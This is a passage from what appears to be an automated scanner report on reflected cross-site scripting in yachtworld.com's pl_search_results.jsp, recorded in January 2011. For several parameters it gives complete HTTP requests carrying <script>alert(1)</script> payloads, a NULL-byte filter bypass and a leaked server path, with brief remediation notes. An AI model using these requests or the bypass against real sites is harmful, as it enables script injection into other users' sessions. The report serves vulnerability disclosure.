4614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; boats_session_info=session_uom:126:locale_currency_id:100; s_pers=%20s_nr%3D1296157124506%7C1298749124506%3B%20s_lv%3D1296157124508%7C1390765124508%3B%20s_lv_s%3DFirst%2520Visit%7C1296158924508%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=20819632.1753731474.1296155835.1296155835.1296155835.1; __utmc=20819632; __utmb=20819632.27.10.1296155835;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 21:34:43 GMT Server: Apache Cache-Control: private Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
The value of the &ywo request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 8ab6d"><script>alert(1)</script>a45657f14be was submitted in the &ywo parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by submitting a URL-encoded NULL byte (%00) anywhere before the characters that are being blocked.
Remediation detail
NULL byte bypasses typically arise when the application is being defended by a web application firewall (WAF) that is written in native code, where strings are terminated by a NULL byte. You should fix the actual vulnerability within the application code, and if appropriate ask your WAF vendor to provide a fix for the NULL byte bypass.
Request
GET /core/listing/cache/pl_search_results.jsp?ps=50&slim=broker&uom=126&ywo=starlingmarine&duom=126&wuom=126&luom=126&ps=50&searchPage=%2Flisting%2Fcache%2Fboats_for_sale_qs.jsp&so=2&slim=broker&hosturl=starlingmarine&units=Feet&&hosturl=starlingmarine&&ywo=starlingmarine8ab6d"><script>alert(1)</script>a45657f14be& HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: JSESSIONID=4B0B0F72E37A07E93F136CA779786D04.boapp05; __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A30PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20s_sq%3D%3B; boats_temp_info=lf:ywlf; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=4318294598094503882; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; boats_session_info=session_uom:126:locale_currency_id:100; s_pers=%20s_nr%3D1296157124506%7C1298749124506%3B%20s_lv%3D1296157124508%7C1390765124508%3B%20s_lv_s%3DFirst%2520Visit%7C1296158924508%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=20819632.1753731474.1296155835.1296155835.1296155835.1; __utmc=20819632; __utmb=20819632.27.10.1296155835;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 21:52:49 GMT Server: Apache Cache-Control: private Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
The value of the &ywo request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 1a26f"><script>alert(1)</script>db381be0f58 was submitted in the &ywo parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /core/listing/cache/pl_search_results.jsp?slim=broker&hosturl=starlingmarine&units=Feet&&cit=true&url=starlingmarine&&hosturl=starlingmarine&&ywo=starlingmarine1a26f"><script>alert(1)</script>db381be0f58&&lineonly&&type=%28Power%29 HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 20:07:45 GMT Server: Apache Cache-Control: private Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
The value of the hosturl request parameter is copied into an HTML comment. The payload a6f45--><script>alert(1)</script>accdc107629 was submitted in the hosturl parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.
Request
GET /core/listing/cache/pl_search_results.jsp?ywo=starlingmarine&ps=50&type=&new=&luom=126&hosturl=starlingmarinea6f45--><script>alert(1)</script>accdc107629&page=broker&slim=broker&lineonly HTTP/1.1 Host: www.yachtworld.com Proxy-Connection: keep-alive Referer: http://www.starlingmarine.com/used-new-boats-wilmington-morehead-nc.html Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: yw_c_id=5778232892790151794
Response
HTTP/1.1 200 OK Date: Thu, 27 Jan 2011 19:39:20 GMT Server: Apache Cache-Control: private Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Content-Type: text/html; charset=utf-8 Content-Length: 63750
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
The value of the hosturl request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 39994"><script>alert(1)</script>da20646a72c was submitted in the hosturl parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /core/listing/cache/pl_search_results.jsp?ywo=starlingmarine&ps=50&type=&new=&luom=126&hosturl=starlingmarine39994"><script>alert(1)</script>da20646a72c&page=broker&slim=broker&lineonly HTTP/1.1 Host: www.yachtworld.com Proxy-Connection: keep-alive Referer: http://www.starlingmarine.com/used-new-boats-wilmington-morehead-nc.html Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: yw_c_id=5778232892790151794
Response
HTTP/1.1 200 OK Date: Thu, 27 Jan 2011 19:39:04 GMT Server: Apache Cache-Control: private Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Content-Type: text/html; charset=utf-8 Content-Length: 63772
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
The value of the hosturl request parameter is copied into the HTML document as plain text between tags. The payload a24c9<script>alert(1)</script>6113b30340a was submitted in the hosturl parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /core/listing/cache/pl_search_results.jsp?ywo=starlingmarine&ps=50&type=&new=&luom=126&hosturl=starlingmarinea24c9<script>alert(1)</script>6113b30340a&page=broker&slim=broker&lineonly HTTP/1.1 Host: www.yachtworld.com Proxy-Connection: keep-alive Referer: http://www.starlingmarine.com/used-new-boats-wilmington-morehead-nc.html Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: yw_c_id=5778232892790151794
Response
HTTP/1.1 200 OK Date: Thu, 27 Jan 2011 19:39:09 GMT Server: Apache Cache-Control: private Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Content-Type: text/html; charset=utf-8 Content-Length: 63016
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<!-- /opt/weblogic/waeyw/ywcluster/public_html/broker_pages/starlingmarinea24c9 ...[SNIP]... </script>6113b30340a/boats.footer.html:--> Exception while reading the file:/opt/weblogic/waeyw/ywcluster/public_html/broker_pages/starlingmarinea24c9<script>alert(1)</script>6113b30340a/boats.header.html exception is java.io.FileNotFoundException: /opt/weblogic/waeyw/ywcluster/public_html/broker_pages/starlingmarinea24c9<script> ...[SNIP]...
The value of the slim request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload dfca7"><script>alert(1)</script>90203473068 was submitted in the slim parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /core/listing/cache/pl_search_results.jsp?ywo=starlingmarine&ps=50&type=&new=&luom=126&hosturl=starlingmarine&page=broker&slim=brokerdfca7"><script>alert(1)</script>90203473068&lineonly HTTP/1.1 Host: www.yachtworld.com Proxy-Connection: keep-alive Referer: http://www.starlingmarine.com/used-new-boats-wilmington-morehead-nc.html Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: yw_c_id=5778232892790151794
Response
HTTP/1.1 200 OK Date: Thu, 27 Jan 2011 19:39:38 GMT Server: Apache Cache-Control: private Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Content-Type: text/html; charset=utf-8 Content-Length: 78214
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
The value of the so request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 953fd"><script>alert(1)</script>85be9569d56 was submitted in the so parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /core/listing/cache/pl_search_results.jsp?slim=broker&hosturl=starlingmarine&units=Feet&ps=50&slim=broker&uom=126&ywo=starlingmarine&duom=126&wuom=126&luom=126&so=0953fd"><script>alert(1)</script>85be9569d56&ps=50&n=1:1:60508:116115:54&searchPage= HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 20:05:31 GMT Server: Apache Cache-Control: private Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
The value of the type request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload a1a26"><script>alert(1)</script>7b6664b8358 was submitted in the type parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /core/listing/cache/pl_search_results.jsp?ywo=starlingmarine&ps=50&type=a1a26"><script>alert(1)</script>7b6664b8358&new=&luom=126&hosturl=starlingmarine&page=broker&slim=broker&lineonly HTTP/1.1 Host: www.yachtworld.com Proxy-Connection: keep-alive Referer: http://www.starlingmarine.com/used-new-boats-wilmington-morehead-nc.html Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: yw_c_id=5778232892790151794
Response
HTTP/1.1 200 OK Date: Thu, 27 Jan 2011 19:38:31 GMT Server: Apache Cache-Control: private Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Content-Type: text/html; charset=utf-8 Content-Length: 12311
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
The value of the url request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 4e6b5"><script>alert(1)</script>50e38d0918a was submitted in the url parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /core/listing/cache/pl_search_results.jsp?slim=broker&hosturl=starlingmarine&units=Feet&&cit=true&url=starlingmarine4e6b5"><script>alert(1)</script>50e38d0918a&&hosturl=starlingmarine&&ywo=starlingmarine&&lineonly&&type=%28Power%29 HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; 